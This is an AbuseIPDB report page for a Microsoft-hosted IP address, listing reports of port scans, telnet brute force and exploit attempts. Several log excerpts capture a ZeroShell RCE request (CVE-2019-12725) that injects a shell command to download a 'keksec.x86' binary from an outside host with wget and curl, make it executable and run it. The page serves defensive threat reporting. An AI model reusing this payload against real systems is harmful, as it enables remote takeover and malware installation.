AbuseIPDB » 104.46.99.17

Check an IP Address, Domain Name, or Subnet

e.g. 3.221.159.255, microsoft.com, or 5.188.10.0/24

104.46.99.17 was found in our database!

This IP was reported 184 times. Confidence of Abuse is 100%: ?

100%

ISP	Microsoft Corporation
Usage Type	Data Center/Web Hosting/Transit
Domain Name	microsoft.com
Country	United States of America
City	Boydton, Virginia

IP info including ISP, Usage Type, and Location provided by IP2Location. Updated monthly.

Report 104.46.99.17

Whois 104.46.99.17

IP Abuse Reports for 104.46.99.17:

This IP address has been reported a total of 184 times from 45 distinct sources. 104.46.99.17 was first reported on November 24th 2020, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	Date	Comment	Categories
ajw.one	12 Jan 2021	Message: IPS Alert 1: Attempted Administrator Privilege Gain. Signature ETEXPLOIT [401TRG] ZeroShell ... show moreMessage: IPS Alert 1: Attempted Administrator Privilege Gain. Signature ETEXPLOIT [401TRG] ZeroShell RCE Inbound (CVE-2019-12725). From:104.46.99.17:55730, to: 10.10.10.10:80, protocol: TCP show less	Brute-Force Web App Attack
Anonymous	12 Jan 2021	Exploit Attempt	Hacking
ajw.one	11 Jan 2021	Message: IPS Alert 1: Attempted Administrator Privilege Gain. Signature ETWEB_SERVER Suspicious Chmo ... show moreMessage: IPS Alert 1: Attempted Administrator Privilege Gain. Signature ETWEB_SERVER Suspicious Chmod Usage in URI (Inbound). From: 104.46.99.17:55730,to: 10.10.10.10:80, protocol: TCP show less	Brute-Force Web App Attack
drunkly	18 Dec 2020	104.46.99.17 - - \[16/Dec/2020:21:12:27 +0100\] "GET /cgi-bin/kerbynet\?Action=x509view\&Section=NoA ... show more104.46.99.17 - - \[16/Dec/2020:21:12:27 +0100\] "GET /cgi-bin/kerbynet\?Action=x509view\&Section=NoAuthREQ\&User=\&x509type=\'%0a/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%22wget%20http://107.174.133.119/bins/keksec.x86%20-O%20/tmp/.keksec.x86\;curl%20http://107.174.133.119/bins/keksec.x86%20-O%20/tmp/.keksec.x86\;%20chmod%20777%20/tmp/.keksec.x86\;%20/tmp/.keksec.x86%22%0a\' HTTP/1.1" 404 162 "-" "python-requests/2.3.0 CPython/2.7.18 Windows/10" ... show less	Brute-Force
IrisFlower	16 Dec 2020	Unauthorized connection attempt detected from IP address 104.46.99.17 to port 2323	Hacking
drunkly	16 Dec 2020	104.46.99.17 - - \[16/Dec/2020:21:12:27 +0100\] "GET /cgi-bin/kerbynet\?Action=x509view\&Section=NoA ... show more104.46.99.17 - - \[16/Dec/2020:21:12:27 +0100\] "GET /cgi-bin/kerbynet\?Action=x509view\&Section=NoAuthREQ\&User=\&x509type=\'%0a/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%22wget%20http://107.174.133.119/bins/keksec.x86%20-O%20/tmp/.keksec.x86\;curl%20http://107.174.133.119/bins/keksec.x86%20-O%20/tmp/.keksec.x86\;%20chmod%20777%20/tmp/.keksec.x86\;%20/tmp/.keksec.x86%22%0a\' HTTP/1.1" 404 162 "-" "python-requests/2.3.0 CPython/2.7.18 Windows/10" ... show less	Brute-Force
Dario B.	16 Dec 2020	DATE:2020-12-16 18:15:13, IP:104.46.99.17, PORT:telnet Telnet brute force auth on honeypot server (h ... show moreDATE:2020-12-16 18:15:13, IP:104.46.99.17, PORT:telnet Telnet brute force auth on honeypot server (honey-neo-dc) show less	Brute-Force
JCB	16 Dec 2020	104.46.99.17 - - [16/Dec/2020:16:12:39 +0200] "GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthR ... show more104.46.99.17 - - [16/Dec/2020:16:12:39 +0200] "GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%22wget%20http://<REDACTED>/bins/keksec.x86%20-O%20/tmp/.keksec.x86;curl%20http://<REDACTED>/bins/keksec.x86%20-O%20/tmp/.keksec.x86;%20chmod%20777%20/tmp/.keksec.x86;%20/tmp/.keksec.x86%22%0a' HTTP/1.1" 403 199 "-" "python-requests/2.3.0 CPython/2.7.18 Windows/10" show less	Hacking Exploited Host Web App Attack
hermawan	16 Dec 2020	1608129342 - 12/16/2020 21:35:42 Host: 104.46.99.17/104.46.99.17 Port: 23 TCP Blocked ...	Port Scan Hacking
ChillScanner	16 Dec 2020	<WWW> TCP (SYN) 104.46.99.17:11656 -> port 80, len 44	Port Scan
security.rdmc.fr	16 Dec 2020	Automatic report - Banned IP Access	Web App Attack
IrisFlower	16 Dec 2020	Unauthorized connection attempt detected from IP address 104.46.99.17 to port 23	Hacking
Smel	16 Dec 2020	Telnet/23 MH Probe, Scan, BF, Hack -	Port Scan Hacking Brute-Force
IrisFlower	16 Dec 2020	Unauthorized connection attempt detected from IP address 104.46.99.17 to port 23	Hacking
IrisFlower	16 Dec 2020	Unauthorized connection attempt detected from IP address 104.46.99.17 to port 2323	Hacking